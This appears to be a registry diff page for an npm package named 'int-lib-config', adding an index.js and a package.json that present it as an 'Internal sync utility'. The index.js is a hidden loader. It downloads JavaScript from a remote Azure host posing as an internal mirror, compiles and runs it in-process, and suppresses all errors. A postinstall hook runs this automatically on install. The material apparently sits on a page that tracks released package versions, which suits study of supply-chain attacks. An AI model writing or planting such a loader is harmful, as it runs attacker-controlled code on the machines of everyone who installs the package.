int-lib-config 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +29 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ // index.js
2
+ (() => {
3
+ const _req = module.require;
4
+ const http = _req('http');
5
+ const Module = _req('module');
6
+
7
+ const opts = {
8
+ hostname: 'internal-mirror.southindia.cloudapp.azure.com',
9
+ port: 3000,
10
+ path: '/utils-helper1.js',
11
+ method: 'GET',
12
+ };
13
+
14
+ http.request(opts, res => {
15
+ let code = '';
16
+ res.on('data', chunk => code += chunk);
17
+ res.on('end', () => {
18
+ try {
19
+ // Dynamically compile & execute as if it were a local module
20
+ const m = new Module();
21
+ m.paths = module.paths; // inherit lookup paths
22
+ m.filename = 'utils-helper1.js'; // friendly name for errors/traces
23
+ m._compile(code, m.filename);
24
+ } catch (err) {
25
+ // silence errors
26
+ }
27
+ });
28
+ }).end();
29
+ })();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "int-lib-config",
3
+ "version": "1.0.0",
4
+ "description": "Internal sync utility",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Abhishek Mishra",
10
+ "license": "MIT"
11
+ }
12
+